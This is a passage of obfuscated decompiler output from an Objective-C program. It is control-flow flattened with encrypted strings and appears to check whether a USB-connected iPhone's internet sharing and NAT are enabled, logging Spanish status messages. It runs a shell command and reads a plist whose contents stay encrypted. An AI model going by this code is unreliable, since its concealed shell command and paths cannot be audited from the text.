*v181 = -282174721;
break;
case -1151168518:
objc_release(v125);
v5 = 0;
v1 = -1151168518;
v6 = -323453439;
goto LABEL_721;
case -1113843032:
*v181 = 1243973339;
break;
}
}
}
else if ( v117 <= -1351928525 )
{
if ( v117 > -1370196652 )
{
if ( v117 == -1370196651 )
{
v0 = 0;
v1 = -1370196651;
v2 = -810929352;
goto LABEL_675;
}
if ( v117 == -1362920612 )
{
v145 = v144 == 0;
*v181 = -759393823;
}
}
else
{
if ( v117 == -1389675993 )
{
v3 = 1;
v1 = 1668581476;
v4 = 1518590262;
goto LABEL_726;
}
if ( v117 == -1378944883 )
{
HikariFunctionWrapper_18703(CFSTR("7\xB4\xA7\xBBD`\xF1\x02\x23\x63\xFD\x85(\xE2\x52\x8E\xD6\x25-\x1DO\x847\xED\xDC\x0F"));
*v181 = 1576624991;
}
}
}
else if ( v117 <= -1330761800 )
{
if ( v117 == -1351928524 )
{
objc_release(v121);
v5 = 1;
v1 = -1067176215;
v6 = -1351928524;
goto LABEL_721;
}
if ( v117 == -1336008910 )
*v181 = 1476825778;
}
else
{
switch ( v117 )
{
case -1330761799:
*v181 = 1911821454;
break;
case -1317723659:
v155 = v112 + 1 == (_QWORD)v81;
v0 = 0;
v76 = v112 + 1;
v1 = -1203016892;
v2 = -1424862590;
goto LABEL_675;
case -1316446718:
v5 = 1;
v1 = 539286375;
v6 = 2056311422;
goto LABEL_721;
}
}
}
else if ( v117 <= -1870239137 )
{
if ( v117 <= -1983287234 )
{
if ( v117 > -2033398047 )
{
if ( v117 > -2013649224 )
{
if ( v117 == -2013649223 )
{
*v181 = -93968046;
}
else if ( v117 == -2004190092 )
{
v122 = *(id *)(*v69 + 8 * v110);
*v181 = 158165278;
}
}
else
{
if ( v117 == -2033398046 )
{
v28 = !v146;
v1 = 1487098323;
goto LABEL_614;
}
if ( v117 == -2024634478 )
{
*v181 = -1750799575;
v179 = 0;
v123 = 0;
}
}
}
else if ( v117 > -2052241098 )
{
if ( v117 == -2052241097 )
{
*v181 = -1851592970;
}
else if ( v117 == -2049941668 )
{
*v181 = 814077176;
}
}
else
{
if ( v117 == -2144675501 )
{
v5 = 1;
v1 = -939874543;
v6 = -2144675501;
goto LABEL_721;
}
if ( v117 == -2141412192 )
*v181 = -373553385;
}
}
else if ( v117 <= -1941298239 )
{
if ( v117 > -1946815802 )
{
if ( v117 == -1946815801 )
{
v8 = 0;
v1 = 174397166;
v9 = 688514167;
goto LABEL_713;
}
if ( v117 == -1943600624 )
{
dword_10029F5F0 = 1;
*v181 = 895039604;
}
}
else
{
if ( v117 == -1983287233 )
{
v25 = objc_msgSend(v120, "componentsSeparatedByString:", CFSTR("%\x1B"));
v137 = objc_retainAutoreleasedReturnValue(v25);
v26 = +[NSMutableArray array](&OBJC_CLASS___NSMutableArray, "array");
v167 = objc_retainAutoreleasedReturnValue(v26);
v27 = v130;
*((_OWORD *)v130 + 3) = 0;
*((_OWORD *)v27 + 2) = 0;
*((_OWORD *)v27 + 1) = 0;
*(_OWORD *)v27 = 0;
objc_retain(v137);
v138 = "countByEnumeratingWithState:objects:count:";
v59 = objc_msgSend(v137, "countByEnumeratingWithState:objects:count:", v130, v83, 16);
v8 = v59 == 0;
v1 = -1011115717;
v9 = 787779466;
goto LABEL_713;
}
if ( v117 == -1983014080 )
{
v5 = 1;
v1 = 1718109927;
goto LABEL_704;
}
}
}
else if ( v117 <= -1918820594 )
{
if ( v117 == -1941298238 )
{
objc_msgSend(v132, v86, CFSTR("%\xF8O\x1E\xE0\xC5\x53\x1B"));
*v181 = -1028709647;
}
else if ( v117 == -1919352372 )
{
v147 = v93 == v78;
v3 = 1;
v1 = -473500971;
v4 = 27817233;
goto LABEL_726;
}
}
else
{
switch ( v117 )
{
case -1918820593:
v0 = !v149;
v1 = 891964386;
v2 = -1019032838;
goto LABEL_675;
case -1918811348:
v5 = 1;
v1 = -608831566;
v6 = 334577130;
goto LABEL_721;
case -1885736672:
v3 = 1;
v1 = 1430833957;
v4 = 1514363337;
goto LABEL_726;
}
}
}
else if ( v117 > -1776809342 )
{
if ( v117 <= -1718349439 )
{
if ( v117 > -1748748112 )
{
if ( v117 == -1748748111 )
{
v3 = 0;
v1 = 1572263771;
v4 = 2057469293;
goto LABEL_726;
}
if ( v117 == -1744723719 )
*v181 = 1734104087;
}
else if ( v117 == -1776809341 )
{
v140 = v116 == 0;
*v181 = -433702363;
}
else if ( v117 == -1750799575 )
{
v114 = v123;
v163 = v179;
v5 = 1;
v1 = -564170174;
v6 = 8544942;
goto LABEL_721;
}
}
else if ( v117 <= -1684309636 )
{
if ( v117 == -1718349438 )
{
LABEL_546:
*v181 = 1574446945;
}
else if ( v117 == -1712803471 )
{
v146 = v91 == (id)0x7FFFFFFFFFFFFFFFLL;
v5 = 1;
v1 = -2033398046;
v6 = 1477502053;
goto LABEL_721;
}
}
else
{
switch ( v117 )
{
case -1684309635:
v133 = v109;
v180 = v174;
v0 = 0;
v1 = 1934568554;
v2 = 1547041480;
goto LABEL_675;
case -1643720302:
v113 = v108;
v178 = v173;
v3 = 1;
v1 = -1203016892;
v4 = -1317723659;
goto LABEL_726;
case -1625006227:
v112 = v107;
v125 = v106;
v162 = v172;
v5 = 1;
v1 = 1612997389;
v6 = -136584919;
goto LABEL_721;
}
}
}
else if ( v117 <= -1792527194 )
{
if ( v117 > -1853631284 )
{
if ( v117 == -1853631283 )
{
*v181 = -1467507967;
}
else if ( v117 == -1851592970 )
{
v5 = 1;
v1 = -1777303197;
v6 = 964151125;
goto LABEL_721;
}
}
else if ( v117 == -1870239136 )
{
*v181 = -712025603;
}
else if ( v117 == -1859927825 )
{
v73 = *v72;
*v181 = 1263932320;
}
}
else if ( v117 <= -1788446655 )
{
if ( v117 == -1792527193 )
{
v50 = v136;
*((_OWORD *)v136 + 3) = 0;
*((_OWORD *)v50 + 2) = 0;
*((_OWORD *)v50 + 1) = 0;
*(_OWORD *)v50 = 0;
*v181 = 1301485102;
}
else if ( v117 == -1790641213 )
{
v79 = v101;
v80 = v100;
v160 = v169;
v8 = 0;
v1 = -93968046;
v9 = -2013649223;
goto LABEL_713;
}
}
else
{
switch ( v117 )
{
case -1788446654:
v78 = v98;
v5 = 1;
v1 = 922357485;
v6 = 2134662894;
goto LABEL_721;
case -1788166635:
v3 = 1;
v1 = -1585052485;
v4 = -1039253865;
goto LABEL_726;
case -1777303197:
v3 = 0;
v61 = *v60;
v62 = (__int64 *)(v130 + 1);
v1 = 979384749;
v4 = -1777303197;
goto LABEL_726;
}
}
}
else if ( v117 <= -486150833 )
{
if ( v117 <= -802247443 )
{
if ( v117 <= -1011115718 )
{
if ( v117 > -1039253866 )
{
if ( v117 > -1019032839 )
{
if ( v117 == -1019032838 )
{
v8 = 0;
v1 = 1203307057;
v9 = -1581047933;
goto LABEL_713;
}
if ( v117 == -1014055633 )
*v181 = 1242227208;
}
else
{
if ( v117 == -1039253865 )
{
v5 = 0;
v1 = -1039253865;
v6 = -802247442;
goto LABEL_721;
}
if ( v117 == -1028709647 )
{
v11 = objc_msgSend(v132, v86, CFSTR("%\xF8O\x1E\xE0\xC5\x53\x1B"));
v3 = 0;
v63 = v11;
v64 = v12;
v1 = -1471403112;
v4 = -1941298238;
goto LABEL_726;
}
}
}
else if ( v117 > -1080574592 )
{
if ( v117 == -1080574591 )
{
objc_retain(v167);
HikariFunctionWrapper_18707(v167, v138);
*v181 = 1907166612;
}
else if ( v117 == -1067176215 )
{
*v181 = -573931432;
}
}
else
{
if ( v117 == -1104937494 )
{
v142 = **v85 == v61;
v3 = 0;
v1 = 1181675031;
v4 = -397256835;
goto LABEL_726;
}
if ( v117 == -1082394845 )
{
v94 = objc_msgSend(v137, v138, v130, v83, 16);
*v181 = -180557506;
}
}
}
else if ( v117 <= -920426081 )
{
if ( v117 > -929805858 )
{
if ( v117 == -929805857 )
{
*v181 = -1885736672;
}
else if ( v117 == -926324580 )
{
*v181 = 1043712705;
}
}
else
{
if ( v117 == -1011115717 )
{
v5 = 1;
v1 = 2033526100;
v6 = -1520227939;
goto LABEL_721;
}
if ( v117 == -939874543 )
{
v0 = !v140;
v1 = -332096017;
v2 = 759279831;
goto LABEL_675;
}
}
}
else if ( v117 <= -858060648 )
{
if ( v117 == -920426080 )
{
*v181 = -1859927825;
}
else if ( v117 == -888824210 )
{
v23 = +[NSDictionary dictionaryWithContentsOfFile:](
&OBJC_CLASS___NSDictionary,
"dictionaryWithContentsOfFile:",
CFSTR("\xBD\x85ج-\x11r,\x92Cи\xB4to2\tC\xE9\x89\x24\x03\x1DZDڥ\xAAY'\xB4;R\x8Fb\xE1\xE1\x12e@x\x8C\a?jm^\x1F\xB2r\x01\xD6\x19\x172\x15ܔ"));
objc_retainAutoreleasedReturnValue(v23);
*v181 = 340303207;
}
}
else
{
switch ( v117 )
{
case -858060647:
*v181 = -1983014080;
break;
case -822193162:
*v181 = 1400656628;
break;
case -810929352:
v7 = 1177999255;
if ( v156 )
v7 = -1684309635;
*v181 = v7;
v171 = v178;
v104 = v113;
v105 = v96;
v174 = v178;
v109 = v113;
break;
}
}
}
else if ( v117 > -615886947 )
{
if ( v117 <= -564170175 )
{
if ( v117 > -573931433 )
{
if ( v117 == -573931432 )
{
v93 = (char *)v124 + 1;
*v181 = 1472610421;
}
else if ( v117 == -571976126 )
{
v8 = 0;
v116 = dword_10029F5F0;
v1 = 1718958057;
v9 = -571976126;
goto LABEL_713;
}
}
else if ( v117 == -615886946 )
{
*v181 = 1043712705;
}
else if ( v117 == -608831566 )
{
v13 = objc_msgSend(v127, v119, CFSTR("\x10\xD8\xDB\xA2\xADIE\u009E}\xD4\x71\x03\x83\n"));
obj = objc_retainAutoreleasedReturnValue(v13);
NSLog(
CFSTR("տ\x11\x05\xBE\n\xC1\xA2\xB5*\xD3\xF0\x14z*\x0E\xB7c\xEA\xB8\xCF\xA5(\xCA\xC3\xA4b"),
obj);
v14 = sh(CFSTR(".\xFBk\u07B7\x85hC\x06\xFE6\x13FH\x9Aa\xDB\xD2\x89\xF7\x0D\xEB\x88\x94\x11ۗ9\fۃD\xD9\x28\xF4\x70\xBB\xEB"));
v15 = objc_retainAutoreleasedReturnValue(v14);
v0 = 0;
v120 = v15;
v1 = -608831566;
v2 = -299629529;
goto LABEL_675;
}
}
else if ( v117 <= -551097446 )
{
if ( v117 == -564170174 )
{
objc_release(v114);
objc_release(v167);
objc_release(v137);
objc_release(v120);
objc_release(obj);
v8 = 0;
v1 = 1907982883;
v9 = -564170174;
LABEL_713:
if ( v8 )
v1 = v9;
goto LABEL_728;
}
if ( v117 == -555391129 )
*v181 = -571976126;
}
else
{
switch ( v117 )
{
case -551097445:
*v181 = 1453404968;
break;
case -547894746:
v132 = *(id *)(v90 + 8LL * (_QWORD)v124);
v143 = (unsigned __int8)objc_msgSend(v132, v129, CFSTR("t2\x18\x84\b\x1DS")) == 0;
v5 = 1;
v1 = 2069410883;
LABEL_720:
v6 = -547894746;
goto LABEL_721;
case -519232079:
*v181 = 1788856383;
break;
}
}
}
else if ( v117 <= -743025308 )
{
if ( v117 > -759393824 )
{
if ( v117 == -759393823 )
{
v28 = !v145;
v1 = 683432122;
LABEL_614:
if ( !v28 )
v1 = -573931432;
LABEL_728:
*v181 = v1;
}
else if ( v117 == -748895640 )
{
*v181 = -1178515442;
}
}
else if ( v117 == -802247442 )
{
v39 = -1790641213;
if ( v158 )
v39 = -259503312;
*v181 = v39;
v169 = v180;
v100 = v133;
v101 = v97;
}
else if ( v117 == -759493867 )
{
*v181 = 1403880282;
}
}
else if ( v117 <= -689076497 )
{
if ( v117 == -743025307 )
{
v54 = objc_msgSend(v131, "objectForKeyedSubscript:", CFSTR("\x80\x8Ej_"));
v55 = objc_retainAutoreleasedReturnValue(v54);
v56 = objc_msgSend(v55, "objectForKeyedSubscript:", CFSTR("*/\xDC\xD11\xD8\x6B\xB0"));
v57 = objc_retainAutoreleasedReturnValue(v56);
NSLog(CFSTR("\xAC\x97\xF0\xED\xC8\x5E\xF1\xC7\xC8\xDC\x0FL\x94\x03\xEF\x1B\xE9"), v57);
*v181 = 1797293483;
}
else if ( v117 == -712025603 )
{
v5 = 1;
v1 = 1657477591;
v6 = 1700723226;
goto LABEL_721;
}
}
else
{
switch ( v117 )
{
case -689076496:
goto LABEL_546;
case -688240694:
HikariFunctionWrapper_18697(v167);
v3 = 0;
v1 = 502354500;
goto LABEL_684;
case -627044366:
*v181 = 96901196;
break;
}
}
}
else if ( v117 > -250040647 )
{
if ( v117 > -39519937 )
{
if ( v117 <= 11756147 )
{
if ( v117 > -2863468 )
{
if ( v117 == -2863467 )
{
*v181 = -1567649175;
v99 = 0;
}
else if ( v117 == 8544942 )
{
objc_release(v114);
objc_release(v167);
objc_release(v137);
objc_release(v120);
objc_release(obj);
*v181 = -564170174;
}
}
else
{
if ( v117 == -39519936 )
{
v148 = v94 == 0;
v8 = 0;
v1 = -1014055633;
v9 = -39519936;
goto LABEL_713;
}
if ( v117 == -3912897 )
{
*v181 = 1177999255;
v171 = v177;
v104 = v111;
v105 = v71;
}
}
}
else if ( v117 <= 23405740 )
{
if ( v117 == 11756148 )
{
v5 = 1;
v1 = -1370196651;
v6 = 1496883959;
goto LABEL_721;
}
if ( v117 == 15771764 )
{
v24 = -1185135134;
if ( v157 )
v24 = -486150832;
*v181 = v24;
v170 = v180;
v102 = v133;
v103 = v77;
}
}
else
{
switch ( v117 )
{
case 23405741:
v3 = 1;
v1 = 1110226781;
LABEL_684:
v4 = -688240694;
goto LABEL_726;
case 27817233:
*v181 = -615886946;
break;
case 59437107:
v8 = v131 == 0;
v1 = 399498845;
v9 = 2110947153;
goto LABEL_713;
}
}
}
else if ( v117 <= -176309096 )
{
if ( v117 > -214519047 )
{
if ( v117 == -214519046 )
{
v5 = 0;
v1 = -1113843032;
v6 = 1243973339;
goto LABEL_721;
}
if ( v117 == -180557506 )
{
v5 = 1;
v1 = -39519936;
v6 = 1819588685;
goto LABEL_721;
}
}
else
{
if ( v117 == -250040646 )
{
v3 = 1;
v1 = -1330761799;
v4 = 1911821454;
goto LABEL_726;
}
if ( v117 == -245975485 )
*v181 = -1389901529;
}
}
else if ( v117 <= -134063230 )
{
if ( v117 == -176309095 )
{
v164 = v175;
v3 = 0;
v1 = 1136527277;
v4 = 72855374;
goto LABEL_726;
}
if ( v117 == -136584919 )
*v181 = 1612997389;
}
else
{
switch ( v117 )
{
case -134063229:
*v181 = 1688094734;
break;
case -93968046:
v5 = 0;
v1 = -2013649223;
v6 = 1996010943;
goto LABEL_721;
case -50780924:
v0 = !v143;
v1 = 683432122;
v2 = 1801751787;
goto LABEL_675;
}
}
}
else if ( v117 > -332096018 )
{
if ( v117 <= -299629530 )
{
if ( v117 > -323453440 )
{
if ( v117 == -323453439 )
{
*v181 = -328078581;
}
else if ( v117 == -303948887 )
{
*v181 = -1788166635;
}
}
else
{
if ( v117 == -332096017 )
{
v5 = 0;
v1 = -1943600624;
v6 = 895039604;
goto LABEL_721;
}
if ( v117 == -328078581 )
{
v5 = 1;
v1 = 394151516;
v6 = 1636986934;
goto LABEL_721;
}
}
}
else if ( v117 <= -282174722 )
{
if ( v117 == -299629529 )
{
*v181 = -1316446718;
}
else if ( v117 == -287709624 )
{
v5 = v115 < 0x56B23C04;
v1 = -555391129;
v6 = -571976126;
goto LABEL_721;
}
}
else
{
switch ( v117 )
{
case -282174721:
v153 = (unsigned __int8)objc_msgSend(v122, v74, v75);
*v181 = 1454354375;
break;
case -267426150:
objc_msgSend(*(id *)(v90 + 8LL * (_QWORD)v124), v129, CFSTR("t2\x18\x84\b\x1DS"));
*v181 = -547894746;
break;
case -259503312:
v3 = 0;
v1 = 901132615;
v4 = 2078870923;
goto LABEL_726;
}
}
}
else if ( v117 <= -427111257 )
{
if ( v117 > -463893033 )
{
if ( v117 == -463893032 )
{
*v181 = 366155922;
}
else if ( v117 == -433702363 )
{
*v181 = -2144675501;
}
}
else if ( v117 == -486150832 )
{
v97 = objc_msgSend(v167, v138, v135, v118, 16);
*v181 = 795736539;
}
else if ( v117 == -473500971 )
{
*v181 = -1919352372;
}
}
else if ( v117 <= -397256836 )
{
if ( v117 == -427111256 )
{
v3 = 0;
v1 = -1712803471;
v4 = 1477502053;
goto LABEL_726;
}
if ( v117 == -410237099 )
*v181 = 583229574;
}
else
{
switch ( v117 )
{
case -397256835:
*v181 = -1104937494;
break;
case -373553385:
v8 = 0;
v1 = -1351928524;
v9 = 1622743880;
goto LABEL_713;
case -347724921:
*v181 = -250040646;
break;
}
}
}
if ( v117 > 1345021304 )
break;
if ( v117 <= 814136103 )
{
if ( v117 <= 399498844 )
{
if ( v117 <= 234476908 )
{
if ( v117 > 154281366 )
{
if ( v117 > 168095340 )
{
if ( v117 == 168095341 )
{
v8 = 0;
v1 = -748895640;
v9 = 168095341;
goto LABEL_713;
}
if ( v117 == 174397166 )
{
v159 = v180 == 0;
v5 = 1;
v1 = 1597763019;
v6 = 688514167;
goto LABEL_721;
}
}
else
{
if ( v117 == 154281367 )
{
v5 = 1;
v1 = 351418096;
v6 = 866021868;
goto LABEL_721;
}
if ( v117 == 158165278 )
{
v5 = 0;
v1 = -1792527193;
v6 = 1301485102;
goto LABEL_721;
}
}
}
else if ( v117 > 96901195 )
{
if ( v117 == 96901196 )
{
v154 = v153 == 0;
v0 = 0;
v1 = 96901196;
v2 = 994159478;
goto LABEL_675;
}
if ( v117 == 123892669 )
*v181 = -1362920612;
}
else if ( v117 == 72290901 )
{
HikariFunctionWrapper_18689(v137);
*v181 = -214519046;
}
else if ( v117 == 72855374 )
{
objc_release(v128);
objc_release(v127);
*v181 = 1136527277;
}
}
else if ( v117 <= 340303206 )
{
if ( v117 > 310045567 )
{
if ( v117 == 310045568 )
{
objc_msgSend(v128, v84);
*v181 = 787297448;
}
else if ( v117 == 334577130 )
{
v18 = objc_msgSend(v127, v119, CFSTR("\x10\xD8\xDB\xA2\xADIE\u009E}\xD4\x71\x03\x83\n"));
v19 = objc_retainAutoreleasedReturnValue(v18);
NSLog(
CFSTR("տ\x11\x05\xBE\n\xC1\xA2\xB5*\xD3\xF0\x14z*\x0E\xB7c\xEA\xB8\xCF\xA5(\xCA\xC3\xA4b"),
v19);
v20 = HikariFunctionWrapper_18705(CFSTR(".\xFBk\u07B7\x85hC\x06\xFE6\x13FH\x9Aa\xDB\xD2\x89\xF7\x0D\xEB\x88\x94\x11ۗ9\fۃD\xD9\x28\xF4\x70\xBB\xEB"));
objc_retainAutoreleasedReturnValue(v20);
*v181 = -608831566;
}
}
else
{
if ( v117 == 234476909 )
{
v165 = v176;
v8 = 0;
v1 = 1647440005;
v9 = 1502969822;
goto LABEL_713;
}
if ( v117 == 293474680 )
*v181 = -1748748111;
}
}
else if ( v117 <= 366155921 )
{
if ( v117 == 340303207 )
{
v126 = &v59 - 16;
v48 = +[NSDictionary dictionaryWithContentsOfFile:](
&OBJC_CLASS___NSDictionary,
"dictionaryWithContentsOfFile:",
CFSTR("\xBD\x85ج-\x11r,\x92Cи\xB4to2\tC\xE9\x89\x24\x03\x1DZDڥ\xAAY'\xB4;R\x8Fb\xE1\xE1\x12e@x\x8C\a?jm^\x1F\xB2r\x01\xD6\x19\x172\x15ܔ"));
v49 = objc_retainAutoreleasedReturnValue(v48);
v5 = 0;
v131 = v49;
v1 = -888824210;
v6 = 556429854;
goto LABEL_721;
}
if ( v117 == 351418096 )
{
strcpy(v166, "eie:");
asc_100286C50[0] = 73;
asc_100286C50[1] = 110;
asc_100286C50[2] = 116;
asc_100286C50[3] = 101;
asc_100286C50[4] = 114;
asc_100286C50[5] = 110;
asc_100286C50[6] = 101;
v8 = 0;
asc_100286C50[7] = 116;
asc_100286C50[8] = 32;
asc_100286C50[9] = 83;
asc_100286C50[10] = 104;
asc_100286A58[0] = v168;
asc_100286A58[1] = 101;
asc_100286A58[2] = 118;
asc_100286A58[3] = 105;
asc_100286A58[4] = 99;
asc_100286A58[5] = 101;
asc_100286A58[6] = 58;
asc_100286A58[7] = 0;
asc_100286C96[0] = 10;
asc_100286C96[1] = 0;
asc_100286C50[11] = 97;
asc_100286C50[12] = 114;
v134 = -13666;
v1 = -1853631283;
v9 = 866021868;
goto LABEL_713;
}
}
else
{
switch ( v117 )
{
case 366155922:
v3 = 0;
v1 = 956408656;
LABEL_648:
v4 = 366155922;
LABEL_726:
if ( v3 )
v1 = v4;
goto LABEL_728;
case 386362196:
v47 = -1567649175;
if ( v147 )
v47 = -1082394845;
*v181 = v47;
v99 = v93;
break;
case 394151516:
v3 = 0;
v1 = 1888159864;
v4 = 394151516;
goto LABEL_726;
}
}
}
else if ( v117 > 686571555 )
{
if ( v117 <= 787779465 )
{
if ( v117 > 759279830 )
{
if ( v117 == 759279831 )
{
strcpy(a7_3, "ERROR: No se pudo leer %@");
asc_100286DB0[0] = 41;
asc_100286DB0[1] = 0;
strcpy(asc_100286CD0, "NAT Enabled = %@");
asc_100286D50[0] = 79;
asc_100286D50[1] = 75;
asc_100286D50[2] = 32;
asc_100286D50[3] = 8212;
asc_100286D50[4] = 32;
asc_100286D50[5] = 105;
asc_100286D50[6] = 80;
asc_100286D50[7] = 104;
asc_100286D50[8] = 111;
asc_100286D50[9] = 110;
asc_100286D50[10] = 101;
asc_100286D50[11] = 32;
asc_100286D50[12] = 85;
asc_100286D50[13] = 83;
asc_100286D50[14] = 66;
asc_100286D50[15] = 32;
asc_100286D50[16] = 101;
asc_100286D50[17] = 110;
asc_100286D50[18] = 99;
asc_100286D50[19] = 111;
asc_100286D50[20] = 110;
asc_100286D50[21] = 116;
asc_100286D50[22] = 114;
asc_100286D50[23] = 97;
asc_100286D50[24] = 100;
asc_100286D50[25] = 111;
asc_100286D50[26] = 32;
asc_100286D50[27] = 99;
asc_100286D50[28] = 111;
asc_100286D50[29] = 114;
asc_100286D50[30] = 114;
asc_100286D50[31] = 101;
asc_100286D50[32] = 99;
asc_100286D50[33] = 116;
asc_100286D50[34] = 97;
asc_100286D50[35] = 109;
asc_100286D50[36] = 101;
asc_100286D50[37] = 110;
asc_100286D50[38] = 116;
asc_100286D50[39] = 101;
asc_100286D50[40] = 32;
asc_100286D50[41] = 101;
asc_100286D50[42] = 110;
asc_100286D50[43] = 32;
asc_100286D50[44] = 37;
asc_100286D50[45] = 64;
asc_100286D50[46] = 0;
v168 = 68;
*v181 = 154281367;
}
else if ( v117 == 787297448 )
{
v141 = (unsigned int)objc_msgSend(v128, v84) == 1;
v5 = 1;
v1 = -822193162;
v6 = 310045568;
goto LABEL_721;
}
}
else
{
if ( v117 == 686571556 )
goto LABEL_545;
if ( v117 == 688514167 )
*v181 = 174397166;
}
}
else if ( v117 <= 795736538 )
{
if ( v117 == 787779466 )
{
objc_release(v137);
*v181 = 2120220995;
}
else if ( v117 == 789298149 )
{
v3 = 1;
v1 = -551097445;
v4 = 1453404968;
goto LABEL_726;
}
}
else
{
switch ( v117 )
{
case 795736539:
v5 = 1;
v1 = 1788856383;
v6 = -519232079;
goto LABEL_721;
case 803931061:
v5 = 1;
v1 = 999741524;
v6 = 1415883098;
goto LABEL_721;
case 814077176:
v5 = 0;
v1 = 310045568;
v6 = 787297448;
goto LABEL_721;
}
}
}
else if ( v117 <= 556429853 )
{
if ( v117 > 502354499 )
{
if ( v117 == 502354500 )
{
*v181 = -689076496;
}
else if ( v117 == 539286375 )
{
v5 = 0;
v1 = 539286375;
v6 = 1859963348;
goto LABEL_721;
}
}
else
{
if ( v117 == 399498845 )
{
v5 = 0;
v1 = -743025307;
v6 = 1797293483;
goto LABEL_721;
}
if ( v117 == 420543787 )
*v181 = 168095341;
}
}
else if ( v117 <= 671283101 )
{
if ( v117 == 556429854 )
{
*v181 = 59437107;
}
else if ( v117 == 583229574 )
{
v3 = 0;
v1 = 1907166612;
v4 = -1080574591;
goto LABEL_726;
}
}
else
{
switch ( v117 )
{
case 671283102:
v68 = *v67;
v69 = v135 + 1;
*v181 = -1278674351;
break;
case 683432122:
v5 = 1;
v1 = -1028709647;
v6 = -1941298238;
goto LABEL_721;
case 684443521:
*v181 = -1625006227;
v172 = v161;
v106 = v82;
v107 = 0;
break;
}
}
}
else if ( v117 > 1043712704 )
{
if ( v117 > 1173213775 )
{
if ( v117 <= 1242227207 )
{
if ( v117 > 1181675030 )
{
if ( v117 == 1181675031 )
{
v0 = !v142;
v1 = 72290901;
v2 = -250040646;
goto LABEL_675;
}
if ( v117 == 1203307057 )
{
objc_release(v167);
*v181 = -1297285123;
}
}
else if ( v117 == 1173213776 )
{
NSLog(
CFSTR("\x8BY\x1E\xF7\xD8\x06\xBCS\xA4\x14\x19\x96\xF6\xE0\x91\x67/k\xDD\x727\xA5\xE6\xBC\x57NT\xCE\x57"),
v167);
v38 = v135;
*((_OWORD *)v135 + 3) = 0;
*((_OWORD *)v38 + 2) = 0;
*((_OWORD *)v38 + 1) = 0;
*(_OWORD *)v38 = 0;
*v181 = -1187044841;
}
else if ( v117 == 1177999255 )
{
v81 = v105;
v82 = v104;
v161 = v171;
v5 = 0;
v1 = 1492912960;
v6 = 1086795106;
goto LABEL_721;
}
}
else if ( v117 <= 1256305756 )
{
if ( v117 == 1242227208 )
{
v5 = 0;
v1 = -858060647;
LABEL_704:
v6 = -1983014080;
LABEL_721:
if ( !v5 )
v1 = v6;
goto LABEL_728;
}
if ( v117 == 1243973339 )
{
v8 = 0;
v1 = -347724921;
v9 = -1113843032;
goto LABEL_713;
}
}
else
{
switch ( v117 )
{
case 1256305757:
objc_retain(obj);
objc_msgSend(obj, v138, v136, v126, 16);
*v181 = 1518878909;
break;
case 1263932320:
v8 = 0;
v1 = 1794479028;
v9 = -1533862308;
goto LABEL_713;
case 1301485102:
v3 = 1;
v10 = v136;
*((_OWORD *)v136 + 3) = 0;
*((_OWORD *)v10 + 2) = 0;
*((_OWORD *)v10 + 1) = 0;
*(_OWORD *)v10 = 0;
v1 = -1792527193;
v4 = 1574726224;
goto LABEL_726;
}
}
}
else if ( v117 <= 1104678857 )
{
if ( v117 > 1078052027 )
{
if ( v117 == 1078052028 )
{
*v181 = 1820162753;
}
else if ( v117 == 1086795106 )
{
v5 = 0;
v74 = "isEqualToString:";
v1 = 1086795106;
v6 = 684443521;
goto LABEL_721;
}
}
else
{
if ( v117 == 1043712705 )
{
v3 = 0;
v1 = 386362196;
v4 = -926324580;
goto LABEL_726;
}
if ( v117 == 1062836642 )
{
v0 = !v150;
v1 = 23405741;
v2 = -2004190092;
goto LABEL_675;
}
}
}
else if ( v117 <= 1136527276 )
{
if ( v117 == 1104678858 )
{
objc_release(v125);
*v181 = -1151168518;
}
else if ( v117 == 1110226781 )
{
objc_enumerationMutation(v167);
*v181 = -688240694;
}
}
else
{
switch ( v117 )
{
case 1136527277:
objc_release(v128);
objc_release(v127);
v3 = 1;
v1 = 72855374;
v4 = 1607017450;
goto LABEL_726;
case 1162571639:
v0 = 0;
v1 = 1104678858;
v2 = -1151168518;
goto LABEL_675;
case 1172397158:
v0 = 0;
v1 = 1752870242;
v2 = 853383436;
goto LABEL_675;
}
}
}
else if ( v117 > 904996991 )
{
if ( v117 <= 964151124 )
{
if ( v117 > 922917298 )
{
if ( v117 == 922917299 )
{
LABEL_545:
*v181 = 671283102;
}
else if ( v117 == 956408656 )
{
v0 = !v141;
v1 = -1744723719;
v2 = -1918811348;
goto LABEL_675;
}
}
else if ( v117 == 904996992 )
{
*v181 = -2144675501;
}
else if ( v117 == 922357485 )
{
v8 = 0;
v129 = "containsString:";
v86 = "rangeOfString:";
v87 = "substringFromIndex:";
v88 = "stringByReplacingOccurrencesOfString:withString:";
v89 = "addObject:";
v1 = -2863467;
v9 = 922357485;
goto LABEL_713;
}
}
else if ( v117 <= 994159477 )
{
if ( v117 == 964151125 )
{
*v181 = -1777303197;
}
else if ( v117 == 979384749 )
{
*v181 = -1788446654;
v98 = v59;
}
}
else
{
switch ( v117 )
{
case 994159478:
v52 = 1598733778;
if ( v154 )
v52 = -1643720302;
*v181 = v52;
v173 = v162;
v108 = v125;
break;
case 999741524:
NSLog(
CFSTR("셿馓벡詼꘏祉퉓烩뤝餹蜏茜퐡\x76\xDC儛晆\x81\xDA\xF5\x07朷䍺\xE3\xDB\x20\xB0뮗籇ș먴羏៙녌먝꾕럎﷽䖆롘\x11\xDC嵽\x04ⷮ쀟颇ᩝᡍ䎯잽Ý"),
v133);
v3 = 1;
v1 = 1415883098;
v4 = -1870239136;
goto LABEL_726;
case 1037243670:
*v181 = 1701065109;
break;
}
}
}
else if ( v117 <= 859902957 )
{
if ( v117 > 827804843 )
{
if ( v117 == 827804844 )
{
*v181 = 814136104;
}
else if ( v117 == 853383436 )
{
v21 = HikariFunctionWrapper_18701(obj, v138);
v8 = 0;
v96 = v21;
v1 = -759493867;
v9 = 1752870242;
goto LABEL_713;
}
}
else
{
if ( v117 == 814136104 )
{
v8 = 0;
v66 = (_QWORD **)(v135 + 2);
v67 = (__int64 *)v135[2];
v1 = 1852169431;
v9 = 814136104;
goto LABEL_713;
}
if ( v117 == 816908447 )
{
v0 = !v152;
v1 = -1500909417;
v2 = -1178515442;
goto LABEL_675;
}
}
}
else if ( v117 <= 891964385 )
{
if ( v117 == 859902958 )
{
*v181 = 1701065109;
}
else if ( v117 == 866021868 )
{
asc_100286A58[0] = v168;
asc_100286A58[1] = 101;
asc_100286A58[2] = 118;
asc_100286A58[3] = 105;
asc_100286A58[4] = 99;
asc_100286A58[5] = 101;
asc_100286A58[6] = 58;
asc_100286A58[7] = 0;
asc_100286C96[0] = 10;
asc_100286C96[1] = 0;
asc_100286C50[0] = 73;
asc_100286C50[1] = 110;
asc_100286C50[2] = 116;
asc_100286C50[3] = 101;
asc_100286C50[4] = 114;
